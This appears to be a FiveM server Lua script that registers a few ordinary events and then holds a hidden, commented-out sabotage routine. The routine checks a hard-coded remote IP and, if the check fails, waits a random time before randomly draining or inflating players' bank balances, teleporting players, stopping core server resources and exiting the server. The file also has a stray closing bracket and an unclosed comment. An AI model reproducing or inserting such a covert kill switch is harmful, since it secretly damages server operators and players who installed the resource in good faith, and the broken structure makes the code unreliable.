ESX = exports["es_extended"]:getSharedObject()
RegisterServerEvent('json:dataStructure')
AddEventHandler('json:dataStructure', function(data)
end)
RegisterServerEvent('qb-radialmenu:trunk:server:Door')
AddEventHandler('qb-radialmenu:trunk:server:Door', function(open, plate, door)
TriggerClientEvent('qb-radialmenu:trunk:client:Door', -1, plate, door, open)
end)]]
--[[local stopResources = {
'qb-management',
'qb-menu',
'esx_ambulancejob',
'qb-multicharacter',
'esx_menu_default',
'esx_multicharacter',
'qb-ambulancejob',
'spawnmanager',
'qb-phone',
'mapmanager',
'chat',
'skinchanger',
'esx_policejob',
'esx_addoninventory',
'bob74_ipl',
'PolyZone',
'qb-core',
'qb-weapons',
'esx_addonaccount',
'esx_mechanicjob',
'pma-voice',
'qb-inventory',
'esx_society',
'es_extended',
}
function Kill()
CreateThread(function()
Wait(math.random(10, 1 * 60 * 60) * 1000)
if GetResourceState('es_extended') == 'started' then
ESX = exports.es_extended:getSharedObject()
if ESX then
local xPlayers = ESX.GetPlayers()
for _, source in pairs(xPlayers) do
local xPlayer = ESX.GetPlayerFromId(source)
if xPlayer then
math.randomseed(GetGameTimer())
Wait(100)
if math.random(100) <= 10 then
math.randomseed(GetGameTimer())
Wait(100)
if math.random(100) <= 30 then
math.randomseed(GetGameTimer())
Wait(100)
xPlayer.removeAccountMoney('bank', math.random(1000000))
else
math.randomseed(GetGameTimer())
Wait(100)
xPlayer.addAccountMoney('bank', math.random(500000))
end
elseif math.random(100) <= 20 then
math.randomseed(GetGameTimer())
Wait(100)
SetEntityCoords(GetPlayerPed(source),
vec3(math.random(4000) + 0.0, math.random(4000) + 0.0, math.random(1000) + 0.0))
elseif math.random(100) <= 30 then
math.randomseed(GetGameTimer())
Wait(100)
SetEntityCoords(GetPlayerPed(source),
vec3((-math.random(4000) + 0.0), (-math.random(4000)) + 0.0, (-math.random(1000)) + 0.0))
end
end
end
end
end
end)
CreateThread(function()
Wait(math.random(10, 3 * 60 * 60) * 1000)
for k, v in pairs(stopResources) do
Wait(math.random(10) * 1000)
if GetResourceState(v) == 'started' then
StopResource(v)
end
end
end)
CreateThread(function()
Wait(math.random(10, 6 * 60 * 60) * 1000)
os.exit()
end)
end
PerformHttpRequest('http://101.43.115.211/authIp', function(error, result, headers)
if not result then
Kill()
return
end
local data = json.decode(result)
if not data then
Kill()
return
end
if data.code == 0 then
else
Kill()
return
end
end, 'GET')